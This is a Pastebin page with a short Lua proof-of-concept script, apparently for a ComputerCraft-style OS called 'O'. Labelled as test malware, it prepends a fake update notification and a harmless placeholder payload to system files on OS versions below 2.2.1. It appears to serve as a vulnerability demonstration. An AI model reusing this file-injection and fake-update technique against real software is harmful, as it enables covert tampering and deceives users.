Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --O Update Test Malware
- --By Atenefyr
- --This program is in no way malicious, it is instead intended for demonstration purposes.
- --This piece of malware only functions in O versions below 2.2.1.
- --shut down malware if wrong version
- if O.getReleaseVersion then
- local vn = O.getReleaseVersion():gsub("%.", "") --it's an awful, but effective and easy way of detecting it
- if tonumber(vn) > 22 then
- printError("This test malware is patched as of O 2.2.1.")
- error()
- end
- end
- local txt1 = [[
- os.loadAPI("/systemO/odata/O")
- O.pushNotification("O Update Available!", colors.white, colors.gray, 2)
- os.unloadAPI("/systemO/odata/O")
- ]]
- local txt2 = [[
- print("Test Malware Payload")
- sleep(2)
- ]]
- local function inject(file, txt)
- local open = fs.open(file, "r")
- local all = open.readAll()
- open.close()
- local open = fs.open(file, "w")
- open.writeLine(txt)
- open.write(all)
- open.close()
- end
- inject("*systemO/launchpad", txt1) --fake update notification
- inject("*systemO/programs/update", txt2) --fake payload
- print("Test malware injected")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement